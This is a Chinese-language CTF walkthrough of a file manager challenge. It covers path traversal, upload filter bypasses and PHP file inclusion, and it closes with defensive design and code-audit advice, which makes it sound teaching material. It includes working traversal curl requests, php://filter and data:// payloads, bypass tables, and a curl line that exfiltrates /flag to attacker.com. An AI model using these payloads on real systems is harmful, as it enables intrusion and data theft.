1. 从一道经典题目看文件管理器的安全设计盲区
"文件管理器"这个词,做Web安全的人看到它,脑子里第一反应大概率不是那种桌面端的资源管理器,而是一个跑在浏览器里的、能上传、能查看、能删除文件的小型Web应用。这类应用在各类CTF比赛里出现的频率极高,原因很简单:它天然涉及文件系统操作,而文件系统操作恰恰是Web安全里最容易出问题的地方。[XDCTF 2015]filemanager这道题就是这类题目的一个典型代表,它模拟了一个在线文件管理平台,用户可以在上面浏览目录、上传文件、读取文件内容。看起来功能很朴素,但朴素的外表下往往藏着好几层需要仔细拆解的逻辑漏洞。
我第一次接触这类题目的时候,最大的困惑不是"漏洞在哪",而是"我该从哪里开始看"。一个文件管理器,前端有上传表单、有文件列表、有查看链接,后端有接收上传的处理逻辑、有读取文件的处理逻辑、有列目录的处理逻辑。每一个环节都可能是入口,每一个参数都可能是突破口。如果没有一套系统的分析思路,很容易在无关的细节上浪费时间。这篇文章我想做的事情,就是把这类文件管理器题目的完整分析链路拆开来讲清楚——从信息收集、功能点枚举、参数探测,到漏洞定位、利用链构造、最终拿到目标文件。整个过程我会结合这道题的典型特征来展开,同时补充大量在实际渗透测试和代码审计中同样适用的通用方法。
适合读这篇文章的人,包括正在入门Web安全方向的学习者、准备参加CTF比赛的选手、以及平时工作中需要对自己负责的Web应用做安全自查的开发者。我不会假设你已经有很深的漏洞挖掘经验,但我会假设你至少了解HTTP协议的基本工作原理,知道什么是GET请求、什么是POST请求,能看懂简单的服务端代码逻辑。如果你连这些基础都还不具备,建议先去补一补再回来,因为后面的内容会涉及不少具体的请求构造和代码分析。
2. 信息收集与功能点枚举:先把地图画出来
2.1 拿到目标后的第一轮侦察
不管是在CTF比赛里拿到一个题目地址,还是在真实项目里拿到一个待测试的站点,第一件事永远是信息收集。很多人容易犯的一个错误是:一上来就盯着某个看起来可疑的参数猛试,结果试了半天没反应,反而忽略了其他更明显的入口。我的习惯是先做一轮"广撒网"式的侦察,把目标的整体面貌摸清楚,再决定往哪个方向深入。
对于filemanager这类题目,第一轮侦察通常包括以下几个动作。打开首页,观察页面结构,看看有没有明显的功能入口——上传按钮、文件列表、搜索框、路径输入框等等。查看页面源代码,找找有没有被注释掉的提示信息、隐藏的表单字段、引用的JavaScript文件。检查HTTP响应头,看看服务端用的是什么语言、什么框架,有没有暴露版本信息。用目录扫描工具跑一遍常见路径,看看有没有备份文件、配置文件、源码泄露。这些动作看起来基础,但往往能提供关键线索。
具体到这道题,首页通常会展示一个文件列表,列出当前目录下的文件,每个文件旁边可能有"查看"、"下载"、"删除"之类的操作链接。页面上大概率还有一个上传区域,允许用户选择本地文件上传到服务器。有些版本还会提供一个路径输入框,让用户直接输入要访问的目录路径。这些功能点就是后续分析的核心对象,每一个都需要单独拎出来仔细研究。
注意:在做目录扫描的时候,不要只扫常见的admin、backup、test这类路径,还要根据目标的技术栈来定制字典。比如如果响应头显示是PHP,那就重点扫.php.bak、.php.swp、.php~这类编辑器临时文件;如果是Java应用,就关注/WEB-INF/、/META-INF/这类目录。
2.2 功能点拆解与参数梳理
把页面上的功能点列出来之后,下一步是搞清楚每个功能点背后对应什么样的请求。这一步需要借助浏览器的开发者工具,或者用抓包工具来观察。以文件管理器为例,常见的功能点和对应的请求模式大概是这样:
| 功能点 | 请求方式 | 典型参数 | 可能的风险点 |
|---|---|---|---|
| 文件列表 | GET | dir、path、folder | 路径遍历、目录枚举 |
| 文件查看 | GET | file、filename、name | 任意文件读取、路径遍历 |
| 文件上传 | POST | file、upload、filename | 任意文件上传、类型绕过 |
| 文件删除 | GET/POST | file、delete、id | 任意文件删除、路径遍历 |
| 文件重命名 | POST | oldname、newname | 路径遍历、覆盖攻击 |
这张表不是凭空想出来的,而是从大量类似题目的共性中总结出来的。你在实际操作的时候,需要根据目标的具体表现来填充和调整。比如有些文件管理器把文件列表和文件查看合并在一个接口里,通过不同的参数来区分操作类型;有些则把上传后的文件重命名逻辑单独抽出来,形成一个独立的接口。这些差异会直接影响后续的利用方式。
我在分析这类题目时有一个习惯:把每个功能点对应的HTTP请求完整记录下来,包括请求方法、URL路径、所有参数(包括Cookie和Header里的)、以及服务端的响应内容。然后逐个参数做修改测试,观察响应有什么变化。这个过程中,参数的命名往往能透露很多信息。比如一个参数叫path,那它大概率是用来拼接文件路径的;一个参数叫filename,那它可能直接参与文件名的构造。命名越具体,越容易猜到它的用途。
2.3 源码泄露与备份文件排查
CTF题目和真实项目有一个很大的区别:CTF题目往往会故意留一些源码泄露的口子,作为解题的线索。常见的源码泄露方式包括:.git目录泄露、.svn目录泄露、备份文件(如index.php.bak、www.zip)、编辑器临时文件(如.index.php.swp)、以及某些框架特有的配置文件暴露。这些在真实项目里属于配置失误,在CTF里则可能是出题人故意设置的入口。
对于filemanager这道题,我建议优先检查以下几个位置:根目录下有没有www.zip、web.zip、backup.zip这类压缩包;有没有index.php.bak、index.php~、index.php.swp这类备份;有没有.git/HEAD可以访问。如果运气好拿到了源码,后面的分析就会轻松很多,因为你可以直接看到服务端的处理逻辑,知道它在哪个环节没有做过滤。
实操心得:检查
.git泄露的时候,不要只访问.git/HEAD看返回码,还要尝试用工具把整个仓库拉下来。有时候.git目录是存在的,但HEAD文件被删了,这种情况下直接访问.git/目录列表反而能看到更多东西。另外,如果目标返回的是403而不是404,说明目录存在但禁止列表,这时候可以尝试访问.git/config这类具体文件。
3. 核心漏洞定位:文件管理器最常出问题的三个环节
3.1 路径遍历:从"只能看当前目录"到"想看哪看哪"
文件管理器最经典的漏洞就是路径遍历,也叫目录穿越。原理很简单:服务端接收用户传入的文件名或路径参数,直接拼接到文件系统操作的API上,没有对../这类向上跳转的序列做过滤。比如服务端代码可能是这样的:
$file = $_GET['file']; readfile('/var/www/files/' . $file);如果传入file=../../../etc/passwd,拼接后的路径就变成了/var/www/files/../../../etc/passwd,经过文件系统解析后等价于/etc/passwd,于是就能读取到目标文件。这个漏洞的利用门槛很低,但防御起来也不难,只要对用户输入做严格的路径规范化检查,确保最终解析出的路径仍然在允许的目录范围内就行。
在实际测试中,路径遍历的绕过方式有很多种,因为不同的过滤逻辑有不同的缺陷。常见的绕过技巧包括:使用....//来绕过简单的../替换(替换一次后剩下的还是../);使用URL编码%2e%2e%2f来绕过基于字符串匹配的过滤;使用绝对路径直接指定文件位置;在Windows环境下使用..\或..%5c。这些技巧需要根据目标的具体过滤逻辑来选择和组合。
我在测试这道题的时候,首先尝试的是最直接的方式:在文件查看的参数里传入../序列,看看能不能跳出当前目录。如果直接传../被拦截了,就尝试双写、编码、截断等变体。这个过程需要耐心,因为不同的过滤规则对应的绕过方式不一样,有时候需要试好几种才能找到有效的那个。
3.2 任意文件上传:从"只能传图片"到"想传什么传什么"
文件上传是文件管理器的另一个核心功能,也是漏洞高发区。理想情况下,服务端应该对上传文件的类型、大小、内容做严格检查,只允许特定类型的文件上传,并且把上传后的文件存放在Web不可访问的目录里。但实际实现中,经常出现各种检查缺失或检查不严的情况。
常见的上传漏洞类型包括:前端JS检查绕过(直接抓包改请求就行);MIME类型检查绕过(把Content-Type改成image/jpeg);文件扩展名黑名单绕过(用.phtml、.php5、.pht等变体);文件内容检查绕过(在图片文件里嵌入代码);以及最严重的——服务端完全不做检查,上传什么都能执行。
对于filemanager这类题目,上传功能往往是拿shell的入口。但要注意的是,CTF题目里的上传点不一定是为了让你拿shell,有时候只是为了让你上传一个特定文件来触发其他漏洞。比如上传一个.htaccess文件来改变目录的解析规则,或者上传一个软链接文件来指向敏感位置。具体怎么利用,取决于题目的整体设计。
注意事项:测试文件上传的时候,不要一上来就传WebShell。先传一个普通的文本文件,看看能不能上传成功、上传后能不能访问、访问时返回的Content-Type是什么。这些信息能帮你判断服务端的处理逻辑。另外,上传后的文件路径往往会在响应里返回,或者可以在文件列表里看到,注意观察这些细节。
3.3 文件包含与代码执行:从"读文件"到"执行代码"
文件包含漏洞通常出现在服务端使用include、require这类语句动态加载文件的时候。如果被包含的文件路径部分可控,攻击者就可以通过路径遍历包含任意文件,或者通过上传包含恶意代码的文件来实现代码执行。在文件管理器场景下,文件包含可能出现在"预览"功能里——服务端为了展示文件内容,直接把文件包含进来执行,而不是用安全的读取方式。
文件包含的利用方式分为本地文件包含和远程文件包含两种。本地文件包含可以读取服务器上的敏感文件,如果配合文件上传,还可以包含上传的恶意文件来执行代码。远程文件包含则要求服务端的allow_url_include选项开启,可以直接包含远程服务器上的文件。在CTF题目里,本地文件包含更常见,因为远程文件包含的利用条件更苛刻。
判断是否存在文件包含漏洞,一个简单的方法是:传入一个不存在的文件名,观察报错信息。如果报错信息里包含"failed to open stream"、"include"之类的关键词,基本可以确定是文件包含。然后尝试包含一个已知存在的文件(比如/etc/passwd),如果内容被输出出来,说明包含成功。接下来就是想办法包含一个可控的文件,通常需要结合文件上传功能。
4. 完整利用链构造:从入口到目标
4.1 利用链的整体设计思路
单独的一个漏洞往往不足以拿到最终目标,需要把多个漏洞串联起来形成完整的利用链。对于filemanager这道题,典型的利用链可能是这样的:先通过路径遍历读取到源码或配置文件,从中发现上传功能的处理逻辑和存储路径;然后利用上传功能的检查缺陷上传一个恶意文件;最后通过文件包含或直接访问上传的文件来执行代码,读取flag。
这个链条里的每一步都需要前一步提供的信息。比如不知道上传后的存储路径,就没法访问上传的文件;不知道服务端的过滤规则,就不知道该用什么扩展名来绕过。所以整个利用过程是一个逐步深入、逐步获取信息的过程,不能跳步。
我在构造利用链的时候,习惯先画一个简单的流程图(在脑子里或者纸上),把已知的信息和未知的信息标出来,然后针对未知的部分设计探测方案。比如"上传后的文件存在哪里"这个未知信息,可以通过上传一个文件名很特殊的文件,然后在文件列表里搜索来定位;也可以通过读取服务端的配置文件来直接获取。
4.2 路径遍历读取源码的实操过程
假设我们已经确认了文件查看功能存在路径遍历漏洞,下一步就是利用它来读取服务端源码。读取源码的目的是了解上传功能的处理逻辑,找到可以利用的缺陷。具体操作步骤如下:
第一步,确定当前目录的绝对路径。可以通过读取/proc/self/cwd(Linux环境下)或者通过报错信息来推断。如果目标开启了错误显示,传入一个不存在的文件路径,报错信息里通常会包含完整的文件路径。
第二步,读取常见的源码文件。对于PHP应用,优先尝试index.php、upload.php、file.php、config.php、common.php。如果这些文件不存在,可以尝试读取目录列表来发现更多文件名。有些文件管理器本身就提供了列目录的功能,可以直接利用。
第三步,分析源码中的过滤逻辑。重点看三个地方:文件查看功能有没有对路径做过滤、上传功能有没有对文件类型做检查、文件包含功能有没有对包含路径做限制。把过滤逻辑的具体实现找出来,才能设计针对性的绕过方案。
# 假设目标地址是 http://target/index.php?file=xxx # 尝试读取当前目录下的源码文件 curl "http://target/index.php?file=index.php" curl "http://target/index.php?file=upload.php" curl "http://target/index.php?file=config.php" # 尝试路径遍历读取系统文件 curl "http://target/index.php?file=../../../etc/passwd" curl "http://target/index.php?file=....//....//....//etc/passwd"实操心得:读取源码的时候,如果直接读取
.php文件返回的是空白或者报错,可能是因为服务端把文件包含进来执行了,而不是作为文本读取。这种情况下,可以尝试读取.php.bak、.php~、.php.swp这类备份文件,它们不会被当作PHP代码执行,内容会原样输出。另外,如果目标使用了phar://协议,还可以尝试通过phar://来读取文件内容。
4.3 上传绕过与文件包含的组合利用
拿到源码之后,如果发现上传功能存在检查缺陷,就可以开始构造上传绕过了。假设源码显示上传功能只检查了文件的Content-Type,没有检查扩展名,那么绕过就很简单:把要上传的文件改名为.php,然后在抓包工具里把Content-Type改成image/jpeg,发送请求即可。
如果源码显示上传功能检查了扩展名,但黑名单不完整,那就需要找一个不在黑名单里、但能被服务端解析为PHP的扩展名。常见的变体包括:.phtml、.php3、.php4、.php5、.php7、.pht、.phar。具体哪个能用,取决于服务端的Apache配置里AddType或AddHandler指令的设置。
上传成功之后,需要确认文件的可访问路径。如果上传目录在Web根目录下,直接访问即可;如果不在,就需要通过文件包含来执行。文件包含的利用方式取决于包含点的具体实现。如果包含点允许路径遍历,可以包含上传的文件;如果包含点限制了目录,可以尝试用php://filter、php://input、data://等协议来绕过。
// 一个典型的文件包含点 $page = $_GET['page']; include($page . '.php'); // 利用方式1:路径遍历包含上传的文件 // ?page=../uploads/shell // 利用方式2:使用php://filter读取源码 // ?page=php://filter/convert.base64-encode/resource=index // 利用方式3:使用data://执行代码(需要allow_url_include=On) // ?page=data://text/plain,<?php system('id');?>4.4 从命令执行到读取目标文件
拿到代码执行权限之后,读取flag就是最后一步了。在CTF环境里,flag通常放在根目录下的flag文件、/flag.txt、或者环境变量里。常见的读取命令包括:
cat /flag cat /flag.txt ls / && find / -name "flag*" 2>/dev/null env | grep -i flag如果目标环境限制了命令执行,比如禁用了system、exec、shell_exec等函数,可以尝试用其他方式读取文件。比如用PHP的文件读取函数file_get_contents、readfile、highlight_file,或者用include直接包含flag文件。如果连文件读取函数都被禁用了,还可以尝试用curl、wget这类命令把flag外带出来。
注意事项:在CTF环境里,读取flag的时候要注意不要触发题目的防作弊机制。有些题目会监控flag文件的访问次数,或者对flag内容做了混淆处理。如果直接
cat读不到,可以尝试用base64编码后再读,或者用xxd、od等工具以十六进制方式读取。
5. 常见问题与排查技巧实录
5.1 路径遍历被拦截了怎么办
路径遍历被拦截是最常见的问题之一。拦截的方式有很多种,对应的绕过方式也不同。下面这张表整理了几种典型的拦截方式和对应的绕过思路:
| 拦截方式 | 表现 | 绕过思路 |
|---|---|---|
替换../为空 | 传入../后路径不变 | 双写....//,替换后剩下../ |
过滤../关键词 | 包含../的请求被拒绝 | URL编码%2e%2e%2f,或使用..%2f |
| 只允许特定目录 | 路径被强制拼接前缀 | 使用绝对路径,或尝试/proc/self/cwd |
| 检查文件是否存在 | 不存在的文件返回错误 | 先读取已知存在的文件,再逐步探测 |
| 限制文件扩展名 | 只能读取特定类型文件 | 使用空字节截断(PHP<5.3.4),或找其他入口 |
我在实际测试中遇到最多的情况是第一种和第二种。对于第一种,双写是最有效的绕过方式,因为过滤逻辑通常只执行一次替换,替换后剩下的../不会被再次处理。对于第二种,URL编码的成功率取决于服务端在过滤之前有没有做解码。如果服务端先解码再过滤,编码就无效;如果先过滤再解码,编码就能绕过。
还有一种比较隐蔽的拦截方式是:服务端对路径做了realpath检查,确保解析后的路径在允许的目录内。这种防御比较难绕过,但也不是完全没有办法。如果允许的目录内存在软链接指向外部目录,就可以通过软链接来跳出限制。另外,如果服务端在realpath检查之后、实际使用路径之前存在时间窗口,理论上可以通过竞争条件来绕过,但这种利用方式在实际环境中很难稳定复现。
5.2 上传的文件访问不了怎么排查
上传文件之后访问不了,可能的原因有很多。我一般按照以下顺序排查:
先确认上传是否真的成功了。有些上传功能会返回"上传成功"的提示,但实际上文件并没有写入磁盘,或者写到了其他位置。可以通过文件列表功能来确认文件是否存在,如果列表里没有,说明上传可能失败了。
再确认上传后的文件路径。有些上传功能会把文件重命名,或者按照日期分目录存储。这些信息通常可以在上传成功的响应里找到,也可以在源码里看到。如果响应里没有返回路径,可以尝试读取上传目录的列表来定位文件。
然后确认上传目录是否在Web可访问范围内。如果上传目录在Web根目录之外,直接通过URL访问是访问不到的,需要结合文件包含来执行。这种情况下,需要确认文件包含点是否允许包含上传目录下的文件。
最后确认文件是否被服务端解析。如果上传的是.php文件,但访问时返回的是文件内容而不是执行结果,说明服务端没有把该文件当作PHP来解析。可能的原因包括:扩展名不在解析范围内、上传目录禁用了脚本执行、或者文件权限不对。这时候可以尝试换一个扩展名,或者通过文件包含来执行。
实操心得:排查上传问题的时候,可以在上传的文件内容里写一个独特的字符串,然后通过文件查看功能或者搜索功能来定位这个文件。这样比盲目猜测路径要高效得多。另外,如果目标支持上传压缩包并自动解压,可以尝试上传一个包含软链接的压缩包,通过软链接来访问敏感文件。
5.3 命令执行没有回显怎么处理
拿到代码执行权限之后,有时候会发现命令执行了但没有回显。这种情况在CTF题目里很常见,出题人可能禁用了输出函数,或者把输出重定向到了其他地方。处理方式有以下几种:
第一种是使用带外通道。让目标服务器主动向外部发起请求,把执行结果带出来。常用的方式包括:用curl或wget请求一个可控的地址,把结果放在URL参数里;用ping命令配合DNS查询,把结果编码在域名里;用nc反弹一个shell到外部地址。这些方式的前提是目标服务器有外网访问权限。
第二种是把结果写入Web可访问的文件。比如执行cat /flag > /var/www/html/flag.txt,然后通过浏览器访问/flag.txt来读取。这种方式的前提是知道Web根目录的路径,并且有写入权限。
第三种是使用时间盲注的方式。通过命令执行的时间长短来判断条件是否成立,逐字符推断出结果。这种方式效率很低,但在没有其他选择的情况下也能用。
# 带外通道示例:把命令结果作为URL参数请求外部地址 curl "http://attacker.com/?result=$(cat /flag | base64)" # 写入Web目录示例 cat /flag > /var/www/html/flag.txt # 时间盲注示例:如果flag的第一个字符是'f',则sleep 3秒 if [ "$(cat /flag | cut -c1)" = "f" ]; then sleep 3; fi5.4 常见问题速查表
| 问题现象 | 可能原因 | 排查方向 |
|---|---|---|
| 路径遍历返回空白 | 文件不存在或不可读 | 换用已知存在的文件测试 |
| 上传返回成功但文件不存在 | 上传目录不可写或路径错误 | 检查目录权限和上传路径配置 |
| 上传的文件不执行 | 扩展名不被解析或目录禁用执行 | 换扩展名或通过文件包含执行 |
| 命令执行无回显 | 输出函数被禁用或输出被重定向 | 使用带外通道或写入文件 |
| 文件包含报错 | 包含路径不正确或协议不支持 | 检查allow_url_include配置 |
| 读取源码返回空白 | 文件被当作代码执行了 | 读取备份文件或使用filter协议 |
6. 从这道题延伸出的安全设计思考
6.1 文件管理器类应用的安全设计要点
分析完这道题之后,我想从防御的角度聊一聊文件管理器类应用应该怎么设计才安全。这部分内容对于开发者来说可能比攻击技巧更有价值,因为知道怎么攻击是为了更好地防御。
第一,文件路径的处理必须做规范化检查。不管用户传入什么路径,服务端都应该先做路径规范化,然后检查规范化后的路径是否在允许的根目录内。这个检查必须在服务端做,不能依赖前端。具体的实现方式可以是:用realpath函数解析路径,然后判断解析结果是否以允许的根目录开头。
第二,文件上传必须做多重检查。包括:检查文件扩展名是否在白名单内、检查MIME类型是否匹配、检查文件内容是否包含恶意代码、限制文件大小、把上传文件存储在Web不可访问的目录、对上传文件重命名(去掉原始扩展名)。这些检查缺一不可,因为单一检查很容易被绕过。
第三,文件包含必须避免。如果业务上确实需要动态包含文件,应该使用白名单机制,只允许包含预定义的文件列表中的文件。绝对不要直接把用户输入拼接到include语句里。如果必须动态包含,也要对包含路径做严格的规范化检查。
第四,错误信息必须收敛。服务端不应该把详细的错误信息返回给客户端,因为错误信息里可能包含文件路径、数据库结构、框架版本等敏感信息。应该统一返回通用的错误提示,把详细错误记录到服务端日志里。
6.2 代码审计中快速定位文件操作漏洞的方法
如果你在做代码审计,面对一个庞大的项目,怎么快速定位文件操作相关的漏洞?我的经验是:先搜索危险函数,再回溯参数来源,最后检查过滤逻辑。
危险函数包括:include、require、include_once、require_once(文件包含);file_get_contents、readfile、fopen、file、highlight_file、show_source(文件读取);file_put_contents、fwrite、move_uploaded_file(文件写入);unlink、rmdir(文件删除);system、exec、shell_exec、passthru、popen(命令执行)。
找到这些函数之后,回溯它们的参数是从哪里来的。如果参数直接来自$_GET、$_POST、$_COOKIE等用户可控的输入,并且没有经过过滤,那就是一个潜在的漏洞点。然后检查过滤逻辑,看看过滤是否严格、是否可以被绕过。
实操心得:代码审计的时候,不要只盯着一个文件看。文件操作漏洞往往涉及多个文件之间的调用关系,比如上传功能在
upload.php里,但文件路径的拼接在common.php里,过滤逻辑又在security.php里。需要把整个调用链梳理清楚,才能准确判断漏洞是否存在。
6.3 这类题目的变种与扩展方向
filemanager这类题目在CTF里有很多变种,了解这些变种有助于你在遇到新题目时快速定位思路。常见的变种包括:
一种是增加了WAF或过滤规则,需要更复杂的绕过技巧。比如过滤了所有../序列,但允许....//;或者过滤了所有点号,但允许URL编码。这类变种考察的是对过滤逻辑的理解和绕过能力。
另一种是改变了文件存储方式,比如把文件存储在数据库里而不是文件系统里。这种情况下,路径遍历可能变成SQL注入,文件包含可能变成反序列化。需要根据具体的存储方式调整利用思路。
还有一种是增加了权限验证,比如只有登录用户才能上传文件,或者只有管理员才能查看某些文件。这种情况下,需要先想办法绕过权限验证,比如通过越权漏洞、会话固定、或者弱口令。
不管题目怎么变,核心的分析思路是不变的:先摸清功能点和参数,再定位漏洞点,然后构造利用链,最后读取目标文件。把这条主线走通了,遇到变种题目也能从容应对。
7. 我在实际测试中积累的几个小技巧
第一个技巧是关于路径遍历的探测。不要一上来就尝试读取/etc/passwd,因为有些环境里这个文件可能不存在或者不可读。更好的做法是先读取一个你确定存在的文件,比如当前目录下的index.php,确认路径遍历确实有效,然后再逐步向外扩展。这样可以避免因为目标文件不存在而误判漏洞不存在。
第二个技巧是关于上传文件的命名。如果服务端对上传文件做了重命名,但重命名规则是可预测的(比如按照时间戳、按照自增ID),可以通过上传多个文件来推断命名规则,然后预测下一个文件的名称。这样即使上传后没有返回文件路径,也能通过预测来访问上传的文件。
第三个技巧是关于文件包含的利用。如果allow_url_include没有开启,但allow_url_fopen开启了,可以尝试用php://filter来读取文件内容,或者用php://input来执行POST数据中的代码。如果这两个都不行,还可以尝试用data://协议,但需要allow_url_include开启。
第四个技巧是关于命令执行的绕过。如果system函数被禁用了,可以尝试用反引号执行命令,或者用popen、proc_open。如果这些都被禁用了,还可以尝试用PHP的文件读取函数来读取flag,不一定非要执行系统命令。
第五个技巧是关于信息收集的。在CTF环境里,不要忽略题目描述和提示信息。有时候出题人会在题目描述里暗示漏洞类型,或者在页面上留一些看起来无关紧要的提示。这些信息往往能帮你节省大量时间。另外,多关注HTTP响应头里的Server、X-Powered-By等字段,它们能告诉你服务端的技术栈,帮你缩小测试范围。
最后再分享一个关于心态的经验。做这类题目的时候,遇到卡壳是很正常的。我的做法是:如果在一个方向上试了二十分钟还没有进展,就暂时放下,换一个方向重新开始。有时候换个角度,之前忽略的细节就会突然变得明显。另外,不要害怕试错,每一个失败的尝试都在帮你排除一种可能性,让你离正确答案更近一步。